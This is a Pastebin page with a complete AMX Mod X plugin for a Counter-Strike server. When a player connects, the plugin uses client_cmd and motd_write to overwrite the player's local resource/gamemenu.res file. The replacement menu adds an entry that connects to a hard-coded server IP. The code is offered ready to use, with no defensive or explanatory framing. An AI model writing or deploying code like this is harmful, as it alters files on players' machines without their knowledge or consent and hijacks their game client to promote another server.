Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <amxmodx>
- const SIZE = 1024;
- new szText[SIZE + 1];
- public plugin_init()
- {
- register_plugin("GameMenu Changer", "2.0b" , "BrundiX & Unknown");
- register_cvar("autogm" , "2.0b" , (FCVAR_SERVER|FCVAR_SPONLY));
- }
- public plugin_cfg()
- {
- new len = 0;
- len += formatex(szText[len], SIZE - len, "^"GameMenu^" { ^"1^" { ^"label^" ^"ALIVE Public [STEAM AWARDS]^"");
- len += formatex(szText[len], SIZE - len, " ^"command^" ^"engine Connect 193.192.59.74:27022^"");
- len += formatex(szText[len], SIZE - len, " } ^"2^" { ^"label^" ^"^" ^"command^" ^"^" }");
- len += formatex(szText[len], SIZE - len, " ^"3^" { ^"label^" ^"#GameUI_GameMenu_ResumeGame^"");
- len += formatex(szText[len], SIZE - len, " ^"command^" ^"ResumeGame^" ^"OnlyInGame^" ^"1^" }");
- len += formatex(szText[len], SIZE - len, " ^"4^" { ^"label^" ^"#GameUI_GameMenu_Disconnect^"");
- len += formatex(szText[len], SIZE - len, " ^"command^" ^"Disconnect^" ^"OnlyInGame^" ^"1^"");
- len += formatex(szText[len], SIZE - len, " ^"notsingle^" ^"1^" } ^"5^" { ^"label^" ^"#GameUI_GameMenu_PlayerList^"");
- len += formatex(szText[len], SIZE - len, " ^"command^" ^"OpenPlayerListDialog^" ^"OnlyInGame^" ^"1^" ^"notsingle^" ^"1^"");
- len += formatex(szText[len], SIZE - len, " } ^"9^" { ^"label^" ^"^" ^"command^" ^"^" ^"OnlyInGame^" ^"1^" }");
- len += formatex(szText[len], SIZE - len, " ^"10^" { ^"label^" ^"#GameUI_GameMenu_NewGame^" ^"command^" ^"OpenCreateMultiplayerGameDialog^"");
- len += formatex(szText[len], SIZE - len, " } ^"11^" { ^"label^" ^"#GameUI_GameMenu_FindServers^" ^"command^" ^"OpenServerBrowser^"");
- len += formatex(szText[len], SIZE - len, " } ^"12^" { ^"label^" ^"#GameUI_GameMenu_Options^" ^"command^" ^"OpenOptionsDialog^"");
- len += formatex(szText[len], SIZE - len, " } ^"13^" { ^"label^" ^"#GameUI_GameMenu_Quit^" ^"command^" ^"Quit^" } }");
- }
- public client_connect(id)
- {
- client_cmd(id, "motdfile ^"resource/gamemenu.res^"");
- client_cmd(id, "motd_write %s", szText);
- client_cmd(id, "motdfile ^"motd.txt^"");
- }
Advertisement
Add Comment
Please, Sign In to add comment